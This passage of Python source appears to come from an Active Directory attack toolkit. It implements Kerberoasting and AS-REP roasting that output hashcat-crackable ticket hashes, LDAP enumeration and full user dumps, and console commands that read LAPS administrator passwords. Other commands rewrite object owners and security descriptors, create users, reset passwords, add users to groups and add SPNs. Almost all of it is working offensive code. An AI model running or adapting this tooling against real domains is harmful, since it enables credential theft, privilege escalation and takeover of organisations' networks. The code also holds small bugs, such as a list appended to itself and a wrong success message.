or specify target via cmdline' ) results = [] errors = [] for spn_name in targets: ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn( spn_name.get_formatted_pname()) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if args.out_file: with open(args.out_file, 'w') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) logging.info('SSPI based Kerberoast complete') elif args.command == 'spnroast-multiplexor': #hiding the import so it's not necessary to install multiplexor await spnmultiplexor(args) elif args.command == 'auto': if platform.system() != 'Windows': print('[-]This command only works on Windows!') return try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') domain = args.dc_ip url = 'ldap+sspi-ntlm://%s' % domain msldap_url = MSLDAPURLDecoder(url) client = msldap_url.get_client() _, err = await client.connect() if err is not None: raise err domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace( ',', '.') spn_users = [] asrep_users = [] results = [] errors = [] async for user, err in client.get_all_knoreq_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain asrep_users.append(cred) async for user, err in client.get_all_service_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain spn_users.append(cred) for cred in asrep_users: ks = KerberosTarget(domain) ar = APREPRoast(ks) res = await ar.run(cred, override_etype=[args.etype]) results.append(res) for cred in spn_users: spn_name = '%s@%s' % (cred.username, cred.domain) if spn_name[:6] == 'krbtgt': continue ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn(spn_name) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if args.out_file: with open(args.out_file, 'w') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) elif args.command == 'ldap': ldap_url = MSLDAPURLDecoder(args.ldap_url) client = ldap_url.get_client() _, err = await client.connect() if err is not None: raise err domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace( ',', '.') if args.out_file: basefolder = ntpath.dirname(args.out_file) basefile = ntpath.basename(args.out_file) if args.type in ['spn', 'all']: logging.debug('Enumerating SPN user accounts...') cnt = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_spn_users.txt'), 'w', newline='') as f: async for user in client.get_all_service_users(): cnt += 1 f.write('%s@%s\r\n' % (user.sAMAccountName, domain)) else: print('[+] SPN users') async for user, err in client.get_all_service_users(): if err is not None: raise err cnt += 1 print('%s@%s' % (user.sAMAccountName, domain)) logging.debug('Enumerated %d SPN user accounts' % cnt) if args.type in ['asrep', 'all']: logging.debug('Enumerating ASREP user accounts...') ctr = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_asrep_users.txt'), 'w', newline='') as f: async for user, err in client.get_all_knoreq_users(): if err is not None: raise err ctr += 1 f.write('%s@%s\r\n' % (user.sAMAccountName, domain)) else: print('[+] ASREP users') async for user, err in client.get_all_knoreq_users(): if err is not None: raise err ctr += 1 print('%s@%s' % (user.sAMAccountName, domain)) logging.debug('Enumerated %d ASREP user accounts' % ctr) if args.type in ['full', 'all']: logging.debug( 'Enumerating ALL user accounts, this will take some time depending on the size of the domain' ) ctr = 0 attrs = args.attrs if args.attrs is not None else MSADUser_TSV_ATTRS if args.out_file: with open(os.path.join(basefolder, basefile + '_ldap_users.tsv'), 'w', newline='', encoding='utf8') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(attrs) async for user, err in client.get_all_users(): if err is not None: raise err ctr += 1 writer.writerow(user.get_row(attrs)) else: logging.debug('Are you sure about this?') print('[+] Full user dump') print('\t'.join(attrs)) async for user, err in client.get_all_users(): if err is not None: raise err ctr += 1 print('\t'.join([str(x) for x in user.get_row(attrs)])) logging.debug('Enumerated %d user accounts' % ctr) if args.type in ['custom']: if not args.filter: raise Exception( 'Custom LDAP search requires the search filter to be specified!' ) if not args.attrs: raise Exception( 'Custom LDAP search requires the attributes to be specified!' ) logging.debug( 'Perforing search on the AD with the following filter: %s' % args.filter) logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs)) ctr = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_ldap_custom.tsv'), 'w', newline='') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(args.attrs) async for obj, err in client.pagedsearch( args.filter, args.attrs): if err is not None: raise err ctr += 1 writer.writerow([ str(obj['attributes'].get(x, 'N/A')) for x in args.attrs ]) else: async for obj, err in client.pagedsearch( args.filter, args.attrs): if err is not None: raise err ctr += 1 print('\t'.join([ str(obj['attributes'].get(x, 'N/A')) for x in args.attrs ]))
class MSLDAPClient(aiocmd.PromptToolkitCmd): def __init__(self, url=None): aiocmd.PromptToolkitCmd.__init__( self, ignore_sigint=False ) #Setting this to false, since True doesnt work on windows... self.conn_url = None if url is not None: self.conn_url = MSLDAPURLDecoder(url) self.connection = None self.adinfo = None self.ldapinfo = None async def do_login(self, url=None): """Performs connection and login""" try: print('url %s' % repr(url)) if self.conn_url is None and url is None: print('Not url was set, cant do logon') if url is not None: self.conn_url = MSLDAPURLDecoder(url) print(self.conn_url.get_credential()) print(self.conn_url.get_target()) self.connection = self.conn_url.get_connection() self.connection.connect() except Exception as e: traceback.print_exc() async def do_ldapinfo(self, show=True): """Prints detailed LDAP connection info (DSA)""" try: if self.ldapinfo is None: self.ldapinfo = self.connection.get_server_info() if show is True: print(self.ldapinfo) except Exception as e: traceback.print_exc() async def do_adinfo(self, show=True): """Prints detailed Active Driectory info""" try: if self.adinfo is None: self.adinfo = self.connection.get_ad_info() if show is True: print(self.adinfo) except Exception as e: traceback.print_exc() async def do_spns(self): """Fetches kerberoastable user accounts""" try: await self.do_ldapinfo(False) for user in self.connection.get_all_service_user_objects(): print(user.sAMAccountName) except Exception as e: traceback.print_exc() async def do_asrep(self): """Fetches ASREP-roastable user accounts""" try: await self.do_ldapinfo(False) for user in self.connection.get_all_knoreq_user_objects(): print(user.sAMAccountName) except Exception as e: traceback.print_exc() async def do_dump(self): """Fetches ALL user and machine accounts from the domain with a LOT of attributes""" try: await self.do_adinfo(False) await self.do_ldapinfo(False) for user in self.connection.get_all_user_objects(): print(user.get_row(MSADUser.TSV_ATTRS)) #with open(args.outfile, 'w', newline='', encoding = 'utf8') as f: # writer = csv.writer(f, delimiter = '\t') # writer.writerow(MSADUser.TSV_ATTRS) # for user in connection.get_all_user_objects(): # writer.writerow(user.get_row(MSADUser.TSV_ATTRS)) except Exception as e: traceback.print_exc() async def do_query(self, query, attributes=None): """Performs a raw LDAP query against the server. Secondary parameter is the requested attributes SEPARATED WITH COMMA (,)""" try: await self.do_ldapinfo(False) if attributes is None: attributes = '*' if attributes.find(','): attributes = attributes.split(',') logging.debug('Query: %s' % (query)) logging.debug('Attributes: %s' % (attributes)) for entry in self.connection.pagedsearch(query, attributes): print(entry) except Exception as e: traceback.print_exc() async def do_tree(self, dn=None, level=1): """Prints a tree from the given DN (if not set, the top) and with a given depth (default: 1)""" try: await self.do_ldapinfo(False) if level is None: level = 1 level = int(level) if dn is not None: try: int(dn) except: pass else: level = int(dn) dn = None if dn is None: await self.do_ldapinfo(False) dn = self.connection._tree logging.debug('Tree on %s' % dn) tree_data = self.connection.get_tree_plot(dn, level) tr = LeftAligned() print(tr(tree_data)) except Exception as e: traceback.print_exc() async def do_user(self, samaccountname): """Feteches a user object based on the sAMAccountName of the user""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) for user in self.connection.get_user(samaccountname): print(user) except Exception as e: traceback.print_exc() async def do_acl(self, dn): """Feteches security info for a given DN""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) for sec_info in self.connection.get_objectacl_by_dn(dn): print(sec_info) except Exception as e: traceback.print_exc() async def do_groupmembership(self, dn): """Feteches names all groupnames the user is a member of for a given DN""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) group_sids = [] for group_sid in self.connection.get_tokengroups(dn): group_sids.append(group_sids) group_dn = self.connection.get_dn_for_objectsid(group_sid) print('%s - %s' % (group_dn, group_sid)) if len(group_sids) == 0: print('No memberships found') except Exception as e: traceback.print_exc() """
class MSLDAPClientConsole(aiocmd.PromptToolkitCmd): def __init__(self, url=None): aiocmd.PromptToolkitCmd.__init__( self, ignore_sigint=False ) #Setting this to false, since True doesnt work on windows... self.conn_url = None if url is not None: self.conn_url = MSLDAPURLDecoder(url) self.connection = None self.adinfo = None self.ldapinfo = None self.domain_name = None async def do_login(self, url=None): """Performs connection and login""" try: if self.conn_url is None and url is None: print('Not url was set, cant do logon') if url is not None: self.conn_url = MSLDAPURLDecoder(url) logger.debug(self.conn_url.get_credential()) logger.debug(self.conn_url.get_target()) self.connection = self.conn_url.get_client() _, err = await self.connection.connect() if err is not None: raise err return True except: traceback.print_exc() return False async def do_ldapinfo(self, show=True): """Prints detailed LDAP connection info (DSA)""" try: if self.ldapinfo is None: self.ldapinfo = self.connection.get_server_info() if show is True: for k in self.ldapinfo: print('%s : %s' % (k, self.ldapinfo[k])) return True except: traceback.print_exc() return False async def do_adinfo(self, show=True): """Prints detailed Active Driectory info""" try: if self.adinfo is None: self.adinfo = self.connection._ldapinfo self.domain_name = self.adinfo.distinguishedName.replace( 'DC', '').replace('=', '').replace(',', '.') if show is True: print(self.adinfo) except: traceback.print_exc() async def do_spns(self): """Fetches kerberoastable user accounts""" try: await self.do_ldapinfo(False) async for user, err in self.connection.get_all_service_users(): if err is not None: raise err print(user.sAMAccountName) except: traceback.print_exc() async def do_asrep(self): """Fetches ASREP-roastable user accounts""" try: await self.do_ldapinfo(False) async for user, err in self.connection.get_all_knoreq_users(): if err is not None: raise err print(user.sAMAccountName) except: traceback.print_exc() async def do_computeraddr(self): """Fetches all computer accounts""" try: await self.do_adinfo(False) #machine_filename = '%s_computers_%s.txt' % (self.domain_name, datetime.datetime.now().strftime("%Y%m%d-%H%M%S")) async for machine, err in self.connection.get_all_machines( attrs=['sAMAccountName', 'dNSHostName']): if err is not None: raise err dns = machine.dNSHostName if dns is None: dns = '%s.%s' % (machine.sAMAccountName[:-1], self.domain_name) print(str(dns)) except: traceback.print_exc() async def do_dump(self): """Fetches ALL user and machine accounts from the domain with a LOT of attributes""" try: await self.do_adinfo(False) await self.do_ldapinfo(False) users_filename = 'users_%s.tsv' % datetime.datetime.now().strftime( "%Y%m%d-%H%M%S") pbar = tqdm(desc='Writing users to file %s' % users_filename) with open(users_filename, 'w', newline='', encoding='utf8') as f: async for user, err in self.connection.get_all_users(): if err is not None: raise err pbar.update() f.write('\t'.join(user.get_row(MSADUser_TSV_ATTRS))) print('Users dump was written to %s' % users_filename) users_filename = 'computers_%s.tsv' % datetime.datetime.now( ).strftime("%Y%m%d-%H%M%S") pbar = tqdm(desc='Writing computers to file %s' % users_filename) with open(users_filename, 'w', newline='', encoding='utf8') as f: async for user, err in self.connection.get_all_machines(): if err is not None: raise err pbar.update() f.write('\t'.join(user.get_row(MSADUser_TSV_ATTRS))) print('Computer dump was written to %s' % users_filename) except: traceback.print_exc() async def do_query(self, query, attributes=None): """Performs a raw LDAP query against the server. Secondary parameter is the requested attributes SEPARATED WITH COMMA (,)""" try: await self.do_ldapinfo(False) if attributes is None: attributes = '*' if attributes.find(','): attributes = attributes.split(',') logging.debug('Query: %s' % (query)) logging.debug('Attributes: %s' % (attributes)) async for entry, err in self.connection.pagedsearch( query, attributes): if err is not None: raise err print(entry) except: traceback.print_exc() async def do_tree(self, dn=None, level=1): """Prints a tree from the given DN (if not set, the top) and with a given depth (default: 1)""" try: await self.do_ldapinfo(False) if level is None: level = 1 level = int(level) if dn is not None: try: int(dn) except: pass else: level = int(dn) dn = None if dn is None: await self.do_ldapinfo(False) dn = self.connection._tree logging.debug('Tree on %s' % dn) tree_data = await self.connection.get_tree_plot(dn, level) tr = LeftAligned() print(tr(tree_data)) except: traceback.print_exc() async def do_user(self, samaccountname): """Feteches a user object based on the sAMAccountName of the user""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) user, err = await self.connection.get_user(samaccountname) if err is not None: raise err if user is None: print('User not found!') else: print(user) except: traceback.print_exc() async def do_machine(self, samaccountname): """Feteches a machine object based on the sAMAccountName of the machine""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) machine, err = await self.connection.get_machine(samaccountname) if err is not None: raise err if machine is None: print('machine not found!') else: print(machine) ####TEST x = SECURITY_DESCRIPTOR.from_bytes( machine.allowedtoactonbehalfofotheridentity) print(x) except: traceback.print_exc() async def do_schemaentry(self, cn): """Feteches a schema object entry object based on the DN of the object (must start with CN=)""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) schemaentry, err = await self.connection.get_schemaentry(cn) if err is not None: raise err print(str(schemaentry)) except: traceback.print_exc() async def do_allschemaentry(self): """Feteches all schema object entry objects""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) async for schemaentry, err in self.connection.get_all_schemaentry( ): if err is not None: raise err print(str(schemaentry)) except: traceback.print_exc() #async def do_addallowedtoactonbehalfofotheridentity(self, target_name, add_computer_name): # """Adds a SID to the msDS-AllowedToActOnBehalfOfOtherIdentity protperty of target_dn""" # try: # await self.do_ldapinfo(False) # await self.do_adinfo(False) # # try: # new_owner_sid = SID.from_string(sid) # except: # print('Incorrect SID!') # return False, Exception('Incorrect SID') # # # target_sd = None # if target_attribute is None or target_attribute == '': # target_attribute = 'nTSecurityDescriptor' # res, err = await self.connection.get_objectacl_by_dn(target_dn) # if err is not None: # raise err # target_sd = SECURITY_DESCRIPTOR.from_bytes(res) # else: # # query = '(distinguishedName=%s)' % target_dn # async for entry, err in self.connection.pagedsearch(query, [target_attribute]): # if err is not None: # raise err # print(entry['attributes'][target_attribute]) # target_sd = SECURITY_DESCRIPTOR.from_bytes(entry['attributes'][target_attribute]) # break # else: # print('Target DN not found!') # return False, Exception('Target DN not found!') # # print(target_sd) # new_sd = copy.deepcopy(target_sd) # new_sd.Owner = new_owner_sid # print(new_sd) # # changes = { # target_attribute : [('replace', [new_sd.to_bytes()])] # } # _, err = await self.connection.modify(target_dn, changes) # if err is not None: # raise err # # print('Change OK!') # except: # traceback.print_exc() async def do_changeowner(self, new_owner_sid, target_dn, target_attribute=None): """Changes the owner in a Security Descriptor to the new_owner_sid on an LDAP object or on an LDAP object's attribute identified by target_dn and target_attribute. target_attribute can be omitted to change the target_dn's SD's owner""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) try: new_owner_sid = SID.from_string(new_owner_sid) except: print('Incorrect SID!') return False, Exception('Incorrect SID') target_sd = None if target_attribute is None or target_attribute == '': target_attribute = 'nTSecurityDescriptor' res, err = await self.connection.get_objectacl_by_dn(target_dn) if err is not None: raise err target_sd = SECURITY_DESCRIPTOR.from_bytes(res) else: query = '(distinguishedName=%s)' % target_dn async for entry, err in self.connection.pagedsearch( query, [target_attribute]): if err is not None: raise err print(entry['attributes'][target_attribute]) target_sd = SECURITY_DESCRIPTOR.from_bytes( entry['attributes'][target_attribute]) break else: print('Target DN not found!') return False, Exception('Target DN not found!') new_sd = copy.deepcopy(target_sd) new_sd.Owner = new_owner_sid changes = {target_attribute: [('replace', [new_sd.to_bytes()])]} _, err = await self.connection.modify(target_dn, changes) if err is not None: raise err print('Change OK!') except: traceback.print_exc() async def do_setsd(self, target_dn, sddl): """Updates the security descriptor of an object""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) try: new_sd = SECURITY_DESCRIPTOR.from_sddl(sddl) except: print('Incorrect SDDL input!') return False, Exception('Incorrect SDDL input!') _, err = await self.connection.set_objectacl_by_dn( target_dn, new_sd.to_bytes()) if err is not None: raise err print('Change OK!') except: print('Erro while updating security descriptor!') traceback.print_exc() async def do_getsd(self, dn): """Feteches security info for a given DN""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) sec_info, err = await self.connection.get_objectacl_by_dn(dn) if err is not None: raise err sd = SECURITY_DESCRIPTOR.from_bytes(sec_info) print(sd.to_sddl()) except: traceback.print_exc() async def do_gpos(self): """Feteches security info for a given DN""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) async for gpo, err in self.connection.get_all_gpos(): if err is not None: raise err print(gpo) except: traceback.print_exc() async def do_laps(self): """Feteches all laps passwords""" try: async for entry, err in self.connection.get_all_laps(): if err is not None: raise err pwd = '<MISSING>' if 'ms-Mcs-AdmPwd' in entry['attributes']: pwd = entry['attributes']['ms-Mcs-AdmPwd'] print('%s : %s' % (entry['attributes']['cn'], pwd)) except: traceback.print_exc() async def do_groupmembership(self, dn): """Feteches names all groupnames the user is a member of for a given DN""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) group_sids = [] async for group_sid, err in self.connection.get_tokengroups(dn): if err is not None: raise err group_sids.append(group_sids) group_dn, err = await self.connection.get_dn_for_objectsid( group_sid) if err is not None: raise err print('%s - %s' % (group_dn, group_sid)) if len(group_sids) == 0: print('No memberships found') except Exception as e: print(e) traceback.print_exc() async def do_bindtree(self, newtree): """Changes the LDAP TREE for future queries. MUST be DN format eg. 'DC=test,DC=corp' !DANGER! Switching tree to a tree outside of the domain will trigger a connection to that domain, leaking credentials!""" self.connection._tree = newtree async def do_trusts(self): """Feteches gives back domain trusts""" try: async for entry, err in self.connection.get_all_trusts(): if err is not None: raise err print(entry.get_line()) except: traceback.print_exc() async def do_adduser(self, username, password): """Creates a new domain user with password""" try: _, err = await self.connection.create_user(username, password) if err is not None: raise err print('User added') except: traceback.print_exc() async def do_deluser(self, user_dn): """Deletes the user! This action is irrecoverable (actually domain admins can do that but probably will shout with you)""" try: _, err = await self.connection.delete_user(user_dn) if err is not None: raise err print('Goodbye, Caroline.') except: traceback.print_exc() async def do_changeuserpw(self, user_dn, newpass, oldpass=None): """Changes user password, if you are admin then old pw doesnt need to be supplied""" try: _, err = await self.connection.change_password( user_dn, newpass, oldpass) if err is not None: raise err print('User password changed') except: traceback.print_exc() async def do_unlockuser(self, user_dn): """Unlock user by setting lockoutTime to 0""" try: _, err = await self.connection.unlock_user(user_dn) if err is not None: raise err print('User unlocked') except: traceback.print_exc() async def do_enableuser(self, user_dn): """Unlock user by flipping useraccountcontrol bits""" try: _, err = await self.connection.enable_user(user_dn) if err is not None: raise err print('User enabled') except: traceback.print_exc() async def do_disableuser(self, user_dn): """Unlock user by flipping useraccountcontrol bits""" try: _, err = await self.connection.disable_user(user_dn) if err is not None: raise err print('User disabled') except: traceback.print_exc() async def do_addspn(self, user_dn, spn): """Adds an SPN entry to the users account""" try: _, err = await self.connection.add_user_spn(user_dn, spn) if err is not None: raise err print('SPN added!') except: traceback.print_exc() async def do_addhostname(self, user_dn, hostname): """Adds additional hostname to computer account""" try: _, err = await self.connection.add_additional_hostname( user_dn, hostname) if err is not None: raise err print('Hostname added!') except: traceback.print_exc() async def do_addusertogroup(self, user_dn, group_dn): """Adds user to specified group. Both user and group must be in DN format!""" try: _, err = await self.connection.add_user_to_group(user_dn, group_dn) if err is not None: raise err print('User added to group!') except: traceback.print_exc() async def do_deluserfromgroup(self, user_dn, group_dn): """Removes user from specified group. Both user and group must be in DN format!""" try: _, err = await self.connection.del_user_from_group( user_dn, group_dn) if err is not None: raise err print('User added to group!') except: traceback.print_exc() async def do_test(self): """testing, dontuse""" try: async for entry, err in self.connection.get_all_objectacl(): if err is not None: raise err if entry.objectClass[-1] != 'user': print(entry.objectClass) except: traceback.print_exc() """